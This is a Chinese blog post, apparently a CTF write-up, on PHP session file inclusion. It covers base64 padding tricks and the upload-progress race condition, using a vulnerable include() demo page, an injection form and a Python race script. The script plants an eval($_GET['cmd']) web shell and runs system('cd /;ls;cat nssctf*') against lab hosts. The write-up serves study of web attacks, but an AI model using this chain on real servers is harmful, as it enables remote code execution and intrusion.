session文件包含

session文件包含

参考文章:https://www.anquanke.com/post/id/201177#h2-1

通过session包含的利用条件:
1.session文件路径已知

可以通过phpinfo()查看里面的sesion.save_path来获取

2.其中部分内容可控

下面来简单演示这个session文件包含

session.php

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
session_start();
$username=$_POST['username'];
$_SESSION["username"]=$username;
?>

index.php

1
2
3
4
5
<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include($file);
?>

php中session默认是以文件形式进行储存的,文件名是sess_PHPSESSID 这个PHPSESSID是可以知道的,如果我们知道了session的储存位置,可以从phpinfo()中看到相关信息

并且里面的内容是我们可以控制的,我们就可以利用文件包含达到我们想要的。

image-20230718172140755.png

image-20230718172230624.png

image-20230718172351972.png

上面的是session储存路径

以上只是最简单的进行一个利用,通常情况下,会对用户的会话信息进行一个编码,或者说没有session_start() 这样的情况下上面的情况就不能执行成功,所以我们就需要想办法进行绕过。

下面是几种情况的绕过:

1.session经过base64编码

这种情况下一般想到的是对session解码就可以了,利用那个php伪协议,但是吧,由于base64的编码规则,我们并不能直接利用这个php伪协议,需要构造长度,让php伪协议去解码的时候,不影响后面的。

session.php

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
session_start();
$username=$_POST['username'];
$_SESSION["username"]=base64_encode($username);
?>

image-20230718183919467.png

下面来讲一下这个base64的编码规则:

1
2
3
4
1.将传入的字符转换成2进制 根据ascii进行划分 是8位 (不满8个高位补零)
2.将8位的二进制进行6位一组划分,因为2^6=64 不满6位的补零
3.总的比特数得是24的倍数,68的最小公倍数是24 不满足的补零,补的零转换成=
4.最后根据表格转换成字符串

img

img

经过base64编码过后的长度是原长度的4/3

编码了解了,下面看一下解码,解码和编码差不多,编码后的长度是原长度的3/4

所以是4个字节一组 这样才满足解码规则,之前的是只对session进行了编码,然后对所有的内容进行了解码,这样是错误的,所以我们根据解码的规则,构造长度,让前面的能够满足4位一组,让后面的session能够进行一个解码

username|s:24:” 我们这里使用的是php解释器,具体的请看session反序列化 由于base64解码只会对 A-Z,a-z,0-9 和/ + = 进行一个解码,其他的字符不会进行解码

所以上面的实际就是user name s24 共11个字符,还差一个,这时就在session传入那里构造其他的垃圾数据

让其满足username|s”xxx:” 就是3位数据

image-20230718185352817.png

image-20230718185411245.png

2.No session_start()

首先要理解几个session中的配置是什么意思

img

session.auto_start 这个键开启时,会自动进行session的初始化,但是一般情况下是默认关闭的。

session.upload_progress.cleanup 这个开启的时候表示当上传完成后php会立刻清理session文件的内容,这个跟后面的条件竞争有关

session.upload_progress_enabled 这个开启的时候,php能够在每一个文件上传时,检测其进度。只有这一个的话并没有什么,但是,同时POST一个跟ini中session.upload_progress_name相同名字的变量时,就会将进度信息保存在session中,这一部分数据是可以控制的,session就会自动进行初始化,索引是session.upload_progress.prefix和session.upload_prgress.name连接在一起的值

session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

session.use_strict_mode为0时,它的PHPSESSID的值是由我们自己定义的

综上所述,整体的一个思想就是session.uplaod_progress.name的值是可以控制的,同时POST传递时,会将其保存在session中,并且PHPSESSID的值是我们可以控制的,这样我们就可以恶意构造session.uplaod_progress.name的值,通过文件包含和条件竞争,来实现一个危害。

实现方法总共有两种,一种就是通过脚本跑,另一种就是通过bp

先来说通过bp的。

1,首先要构造一个上传表单

1
2
3
4
5
6
7
8
9
10
11
<!doctype html>
<html>
<body>
<form action="http://node4.anna.nssctf.cn:28342/index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo(); ?>" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
</body>
</html>

上面的内容根据实际情况进行修改

2.修改PHPSESSID的值,发送到爆破板块

image-20230719113426206.png

3.设置NULL payloads

4.将文件包含的也发送到bp爆破模块

image-20230719113547926.png

也设置NULL payloads 然后就可以去连接蚁剑了

方法2.通过脚本:
网上找的一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import io
import threading

import requests

sessid = '0'
target = 'http://node4.anna.nssctf.cn:28071/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)

event = threading.Event()


def write(session):
while not event.is_set(): # 使用 event.is_set() 来判断是否需要继续执行
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid}) # 修改参数名为 cookies


def read(session):
while not event.is_set(): # 使用 event.is_set() 来判断是否需要继续执行
resp = session.get(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctf*');") # 修改为 get 请求
if file in resp.text:
print(resp.text)
event.set() # 如果成功读取到文件内容,设置 event,退出循环
else:
print("[+]retry")


if __name__ == "__main__":
threads = [] # 存储线程的列表
with requests.session() as session:
for i in range(1, 30):
t1 = threading.Thread(target=write, args=(session,))
threads.append(t1)
t1.start()

for i in range(1, 30):
t2 = threading.Thread(target=read, args=(session,))
threads.append(t2)
t2.start()

# 等待所有线程结束
for t in threads:
t.join()

event.set() # 设置 event,以防止线程无法退出循环


session文件包含
http://example.com/2023/09/15/session文件包含/
作者
FSRM
发布于
2023年9月15日
更新于
2023年9月15日
许可协议